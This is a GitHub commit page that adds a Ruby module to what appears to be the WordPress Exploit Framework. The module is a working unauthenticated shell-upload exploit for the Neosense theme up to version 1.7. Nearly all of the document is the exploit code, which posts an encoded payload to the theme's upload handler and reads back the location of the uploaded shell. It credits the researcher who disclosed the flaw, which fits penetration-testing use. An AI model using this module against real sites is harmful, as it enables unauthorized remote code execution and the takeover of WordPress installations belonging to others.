Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 8a35bf8

Browse files
committed
Add Neosense Theme <= 1.7 shell upload
1 parent d41ad40 commit 8a35bf8

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
class Wpxf::Exploit::NeosenseShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Neosense Theme <= 1.7 Unauthenticated Shell Upload',
9+
author: [
10+
'Walter Hop', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8622'],
15+
['URL', 'https://lifeforms.nl/20160919/unrestricted-upload-neosense']
16+
],
17+
date: 'Sep 19 2016'
18+
)
19+
end
20+
21+
def check
22+
check_theme_version_from_style('neosense', '1.8')
23+
end
24+
25+
def uploader_url
26+
normalize_uri(wordpress_url_themes, 'neosense', 'js', 'back-end', 'libraries', 'fileuploader', 'upload_handler.php')
27+
end
28+
29+
def payload_body_builder
30+
builder = Utility::BodyBuilder.new
31+
builder.add_file_from_string('qqfile', payload.encoded, payload_name)
32+
builder
33+
end
34+
35+
def uploaded_payload_location
36+
result = JSON.parse(upload_result.body)
37+
result['url']
38+
end
39+
end

0 commit comments

Comments
 (0)